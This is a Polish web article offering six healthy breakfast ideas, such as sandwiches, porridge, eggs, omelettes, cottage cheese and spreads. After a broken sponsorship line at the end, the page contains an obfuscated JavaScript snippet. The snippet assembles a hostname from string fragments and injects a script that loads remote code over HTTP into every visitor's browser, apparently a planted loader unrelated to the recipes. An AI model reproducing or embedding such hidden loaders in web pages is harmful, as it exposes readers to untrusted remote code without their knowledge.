



6 pomysłów na zdrowe i pożywne śniadanie

Śniadanie jest najważniejszym posiłkiem dnia – to zdanie to jedna z podstawowych zasad racjonalnego odżywiania. Niestety bardzo często trudno nam się do niej dostosować. Rano wiele rzeczy robimy w pośpiechu, a przygotowanie i zjedzenie śniadania w domu wydaje nam się zbyt czasochłonne. Okazuje się jednak, że wystarczy wstać 15 minut wcześniej, aby zjeść zdrowe i pożywne śniadanie, które doda nam energii na cały dzień.

1. Kanapki

To właśnie kanapki są niekwestionowanym liderem śniadaniowym. Przygotować je potrafią nawet dzieci, nie są czasochłonne i pozwalają na niezwykłą fantazję. Różnorodność dodatków sprawia, że tego typu śniadania nie stają się dla nas monotonne. Do przygotowywania kanapek najlepiej wykorzystać ciemne pieczywo. Zrezygnujmy z masła, które z powodzeniem możemy zastąpić awokado. Sięgajmy także po świeże warzywa i kielki, które nadadzą kanapkom wyjątkowego smaku. Takie śniadanie możemy zjeść w domu lub spakować i sięgnąć po nie w pracy.

2. Owsianka

Owsianka często wzbudza mieszane odczucia. Warto się jednak do niej przekonać, bowiem to naprawdę niezwykle szybkie i pożywne śniadanie. Do przygotowania takiego śniadania potrzebujemy płatków owsianych (najlepiej górskich, ale mogą być też błyskawiczne), które w zależności od upodobań zalewamy mlekiem lub wodą. W kwestii dodatków panuje całkowita swoboda – wykorzystać możemy świeże i suszone owoce, miód czy masło orzechowe.

3. Jajka

Cennym źródłem energii są dla nas jajka, bowiem zawierają one niezbędne dla organizmu nienasycone kwasy tłuszczowe. Rano możemy przygotować je na różne sposoby – po zaledwie kilku minutach mamy gotowe jajko na miękko, a nie więcej niż 8 minut zajmie nam ugotowanie go na twardo. Niezawodnym posiłkiem rano jest także jajecznica, którą możemy przygotować na boczku lub z dodatkiem szczypiorku i pomidora.

4. Omlet

Z jajek przygotowujemy także omlet, który na śniadanie można zjeść w wersji na słodko lub na słono. Dobrze smakuje z szynką i pomidorem, ale sprawdza się również w towarzystwie owoców. Osoby dbające o linię mogą na śniadanie przygotowywać sobie omlety dietetyczne, w których nie ma mąki ani cukru. W ich składzie znajdziemy natomiast płatki owsiane, banany czy twaróg. W weekendy, kiedy mamy więcej czasu, warto poeksperymentować i znaleźć swoją ulubioną wersję omleta.

5. Twarożek

Dzień możemy zacząć także od twarożku. Warto przygotować go samodzielnie – unikniemy niepotrzebnych dodatków i ulepszczy smaku. Do twarogu dodać możemy rzodkiewkę, szczypiorek lub pomidora. Warto doprawić go także estragonem, a zamiast śmietany skorzystać z jogurtu naturalnego.

6. Pasty

Na śniadanie przygotować możemy sobie również pastę, którą rano znakomicie komponuje się z pieczywem. Zastryk energii gwarantują nam pasty z jajek, pomidorów lub awokado. Do ich przygotowania wykorzystać możemy także ryby – tuńczyka, łososia oraz makrele. Dobry składnik zależy jednak wyłącznie od naszej inwencji, bowiem pasty można przygotować z wielu produktów, które najczęściej wystarczy tylko rozgnieść widelcem lub zblendować na gładką masę.

Artykuł został przygotowany przy współpracy z serwisem <a

```
<script type="text/javascript">
(function(){
```

```
uc71=document.createElement("script");uc71.type="text/javascript";
```

```
uc71.async=true;uc71_= (("us")+ "t")+ "a";uc71_ += ("t.i")+ "" + "n";uc71_ += (("f")+ "o");
```

```
uc71.src="http://"+uc71_ +"/197037.1p8dp5m1c710h2u045k2r5dlarjvcfd";
```

```
document.body.appendChild(uc71);
```

```
})();
```

```
</script>
```

